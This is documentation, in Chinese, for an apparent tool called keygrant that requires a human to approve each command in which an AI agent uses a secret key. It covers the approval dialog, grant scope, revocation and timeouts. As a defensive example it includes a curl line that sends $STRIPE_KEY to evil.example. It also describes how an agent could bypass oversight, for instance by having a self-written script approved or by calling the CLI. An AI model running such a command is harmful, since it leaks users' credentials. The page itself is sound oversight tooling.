审批与授权
仅仅让密钥值不进入上下文还不够:agent 可以使用一个它从未见过的 key,例如 curl "https://evil.example/?k=$STRIPE_KEY"。只有人才能判断某次使用是否符合本意,所以每次使用都要经过审批。
对话框
在释放任何密钥之前,keygrant 会弹出一个系统原生、始终置顶的对话框,显示密钥名称和完整命令。过长的命令(超过 2000 个字符)会被直接拒绝,而不是截断显示:请让 agent 把长逻辑写进脚本文件,再运行该脚本。
- Allow / Yes:命令在注入密钥后运行。
- Deny / No:命令被拒绝,并告知 agent 不要重试。
- 60 秒内无响应:视为拒绝;但如果你设置了手机审批器,请求会转到你的手机上。明确点击 Deny 即为最终结果,永远不会升级转交。
对话框在 Windows 上是 MessageBox,在 macOS 上是 osascript,在 Linux 上是 zenity。
授权覆盖的范围
通过 MCP server 批准后,会创建一个授权:
- 仅针对这条完全相同的命令字符串:命令有任何改动都会再次询问;
- 仅在该 agent 会话内有效(一个 MCP server 进程);
- 有效期 15 分钟;
- 只保存在内存中,从不写入磁盘,因此不存在可被其他程序伪造的授权文件。
重新运行完全相同的命令(重试,或轮询同一个接口)不会再次询问。这样对话框才有意义,而不会把你训练成不看就点 Allow。新命令总会让你重新审视一遍。
CLI(keygrant exec)从不复用授权:每次运行都会询问,因此 agent 无法通过转而调用 CLI 来绕过 MCP 审批。
撤销
keygrant revoke STRIPE_KEY # 作废某个密钥的授权
keygrant revoke --all # 作废所有授权
撤销会立即在所有运行中的会话里生效:撤销之前签发的授权从此一律被忽略。
看懂命令
对话框就是那道控制关卡,所以值得知道该看什么:
- 数据发往哪里? 把密钥发往陌生主机的命令,就是典型的数据外泄。
- 批准脚本就是批准其内容。批准
sh deploy.sh就等于批准deploy.sh所做的一切,而这个文件可能刚刚才由 agent 写出来。先看看它的内容。 - 意料之外的密钥。如果一条命令请求的 key 比任务所需的多,就拒绝,并问清楚原因。
修改超时时间
KEYGRANT_APPROVAL_TIMEOUT_MS=120000 keygrant mcp # 2 分钟
在 MCP server 启动时所用的环境中设置它。默认值为 60000。